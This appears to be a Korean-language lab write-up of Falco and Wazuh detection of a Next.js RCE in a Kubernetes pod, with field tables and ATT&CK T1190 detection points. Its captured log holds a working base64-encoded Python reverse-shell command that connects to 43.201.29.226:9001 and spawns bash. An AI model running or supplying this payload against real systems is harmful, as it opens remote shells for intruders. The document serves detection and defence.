Falco RCE Log
공격 행위 요약
Falco Runtime Detection Log는 NodeFall 캠페인에서 컨테이너 내부와 호스트 런타임에서 발생한 실행 행위를 확인하는 로그이다. 공격자는 취약 Pod 내부에서 쉘을 획득한 뒤 python3 기반 권한 상승 PoC를 실행하고, 이후 특권 파드 내부에서 nsenter를 사용해 host namespace에 진입했다. 이 로그는 단순한 Kubernetes 리소스 생성 여부가 아니라, 실제 노드 런타임에서 어떤 프로세스가 실행되었고 어떤 네트워크 행위가 발생했는지를 확인하는 핵심 증적이다.
로그 발생 위치
| 구분 | 위치 | 설명 |
| K8s Node | Linux Kernel syscall | 컨테이너 내부 명령 실행, 파일 접근, 네트워크 연결 같은 런타임 행위가 커널 syscall로 발생 |
| K8s Node | falco-modern-bpf.service | Falco가 syscall을 관찰하고 룰 매칭 시 탐지 이벤트를 생성하는 서비스 |
| K8s Node | journalctl -u falco-modern-bpf.service | Falco 탐지 이벤트가 systemd journal에 기록되는 대표 확인 위치 |
수집 방식
| 구분 | 방식 |
| Falco | eBPF/driver를 통해 Linux Kernel syscall을 관찰하고, Falco rule의 condition과 매칭되면 output 형식의 탐지 이벤트를 생성 |
| journald | Falco가 생성한 탐지 이벤트를 falco-modern-bpf.service의 systemd journal 로그로 기록 |
| Wazuh agent | /var/ossec/etc/ossec.conf의 journald 수집 설정을 통해 Falco 서비스 로그를 수집 |
| Wazuh manager | 수집된 Falco 로그를 /var/ossec/etc/rules/local_rules.xml의 룰과 매칭하여 Wazuh alert로 변환 |
| Wazuh Dashboard | 생성된 Wazuh alert를 분석자가 확인할 수 있는 대시보드 이벤트로 표시 |
실제 관측 로그
May 21 04:56:27 ip-10-0-133-48 falco[531]: 04:56:27.018222388: Critical nodefall_shell_spawn [NF1] Shell Spawn
(user=nextjs proc=sh cmd=sh -c echo aW1wb3J0IHNvY2tldCxvcyxwdHk7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiNDMuMjAxLjI5LjIyNiIsOTAwMSkpO29zLmR1cDIocy5maWxlbm8oKSwwKTtvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO3B0eS5zcGF3biAoIi9iaW4vYmFzaCIp |base64 -d |
python3 container=react-app pod=react-app-685875587f-hv72r ns=default) container_id=f4f7a83a75ac container_name=react-app container_image_repository=docker.io/library/react2shell-vulnlab-hi-react2shell-tribune container_image_tag=latest k8s_pod_name=react-app-685875587f-hv72r k8s_ns_name=default
May 21 04:56:27 ip-10-0-133-48 falco[531]: 04:56:27.043672762: Notice Redirect stdout/stdin to network connection |
gparent=next-server (v ggparent=containerd-shim gggparent=systemd fd.sip=43.201.29.226 connection=10.244.0.81:59016->43.201.29.226:9001 lport=59016 rport=9001 fd_type=ipv4 fd_proto=tcp evt_type=dup2 user=nextjs user_uid=1001 user_loginuid=-1 process=python3 proc_exepath=/usr/bin/python3.11 parent=sh command=python3 terminal=0 container_id=f4f7a83a75ac container_name=react-app container_image_repository=docker.io/library/react2shell-vulnlab-hi-react2shell-tribune container_image_tag=latest k8s_pod_name=react-app-685875587f-hv72r k8s_ns_name=default
주요 필드
| 필드 | 의미 | 예시 |
evt.time | Falco 탐지 이벤트 발생 시간 | 04:56:27.018222388 |
priority | Falco 탐지 심각도 | Critical, Notice |
rule/message | Falco가 탐지한 행위명 | nodefall_shell_spawn [NF1] Shell Spawn, Redirect stdout/stdin to network connection |
user / user_uid | 행위를 수행한 컨테이너 내부 사용자 | nextjs, 1001 |
proc / process | 실행된 프로세스 | sh, python3 |
cmd / command | 실행된 명령어 또는 인자 | sh -c echo ... , base64 -d , python3, python3 |
parent | 현재 프로세스를 실행한 부모 프로세스 | sh |
gparent | 상위 부모 프로세스 | next-server |
container_name | 행위가 발생한 컨테이너 이름 | react-app |
container_id | 컨테이너 식별자 | f4f7a83a75ac |
container_image_repository | 컨테이너 이미지 저장소 | docker.io/library/react2shell-vulnlab-hi-react2shell-tribune |
k8s_pod_name | 행위가 발생한 Kubernetes Pod | react-app-685875587f-hv72r |
k8s_ns_name | Pod가 속한 namespace | default |
fd.sip | 네트워크 연결 출발지 IP | 43.201.29.226 |
connection | reverse shell 네트워크 연결 흐름 | 10.244.0.81:59016->43.201.29.226:9001 |
lport | 로컬 포트 | 59016 |
rport | 원격 포트 | 9001 |
fd_proto | 네트워크 프로토콜 | tcp |
evt_type | 발생한 syscall 이벤트 유형 | dup2 |
message | journald에 기록된 Falco 원본 로그 | Critical nodefall_shell_spawn ..., Notice Redirect stdout/stdin ... |
커버 대상 Techniques Used
| Technique | Mapping Reason |
| T1190 Exploit Public-Facing Application | React/Next.js 취약 애플리케이션을 통한 RCE 이후 sh, python3 실행 및 reverse shell 연결이 발생했는지 확인한다. |
탐지 포인트
| Technique | 관찰 행위 | 주요 필드 |
| T1190 Exploit Public-Facing Application | React/Next.js 취약 Pod 내부에서 외부 요청 이후 sh, python3 등 명령 인터프리터가 실행되는지 확인한다. 단순 shell 실행만 보지 않고, 웹 애플리케이션 프로세스(next-server) 하위에서 발생했는지 함께 본다. | rule/message, gparent, proc, process, cmd, user, k8s_pod_name, container_name |
| T1190 Exploit Public-Facing Application | base64로 인코딩된 페이로드가 python3로 전달되어 실행되는지 확인한다. RCE 페이로드가 실제 컨테이너 내부 명령 실행으로 이어졌는지 판단하는 핵심 구간이다. | cmd, proc, process, parent, user, container_id, k8s_ns_name |
| T1190 Exploit Public-Facing Application | dup2 syscall을 통해 표준 입출력이 TCP 연결로 리다이렉션되는지 확인한다. 외부 리스너 포트로 연결되는 흐름이 보이면 reverse shell 성공 가능성이 높다. | evt_type, connection, fd.sip, lport, rport, fd_proto, process, command |